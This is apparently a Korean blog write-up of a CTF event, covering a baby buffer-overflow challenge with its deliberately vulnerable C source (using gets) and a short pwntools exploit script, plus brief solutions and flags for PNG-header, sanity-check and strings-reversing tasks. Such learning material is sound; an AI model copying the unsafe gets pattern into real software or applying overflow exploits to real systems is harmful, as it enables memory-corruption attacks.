PWN
Simple bof (baby)
Want to learn the hacker's secret? Try to smash this buffer!
You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already
By: theKidOfArcrania
nc chal.utc-ctf.club 35235
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
void print_flag();
void vuln() {
char padding[16];
char buff[32];
int notsecret = 0xffffff00;
int secret = 0xdeadbeef;
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
// Check if secret has changed.
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
print_flag(); // Print out the flag. You deserve it.
return;
} else if (notsecret != 0xffffff00) {
puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main() {
safeguard();
vuln();
}
|
cs |
정말 친절한 bof 문제다..
ex.py
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
p = remote("chal.utc-ctf.club", 35235)
a = 0x67616c66
payload = "A"*48 + p32(a)
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
|
cs |
FLAG : utc{buffer_0verflows_4re_c00l!}
Crypto
RSAcue [not solved]
I heard you like to RSAcue the world. There we go
By: knapstack
공개키로 publickey.pem이 주어졌다.
여기서 n값을 구해내보자! (openssl)
https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key
깔끔하게 보는 방법도 나와 있다.
MISC
Optics 1 (baby)
I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:
By: knapstack
png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.
Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.
0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.
QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.
FLAG: utc{dang_you_know_qr_decoding_and_shit}
Sanity Check
Join our discord and get a free flag.
와 공짜 플래그
FLAG : utc{whats_discord_lol}
REVERSING
Strings (baby)
Itz not giving me flag...
GIMMME THE FLAG
By: theKidOfArcrania
strings 라는 파일이 주어진다.
HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.
Open with HxD, you can find ELF header signature.
So, this file's format is ELF.
그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.
64bit elf 파일이기 때문에, ida 64bit로 연다.
문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.
Check out strings!
main함수에는 fake flag가 있다.
you can find fake flag in main FUNC.
real flag는 여기서 찾을 수 있다.
Real flag is in here!
FLAG : utc{that_waz_ezpz}
'CTF Write Up' 카테고리의 다른 글
RiceTeaCatPanda CTF 2020 Write up (0) | 2020.01.22 |
---|---|
Christmas CTF 2019 Write-up 문제 풀이 (2) | 2019.12.30 |
X-MAS CTF 2019 X-MAS Helper write-up (0) | 2019.12.21 |
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up (0) | 2019.12.10 |
Timisoara CTF 2019 Quals Write-up (0) | 2019.09.19 |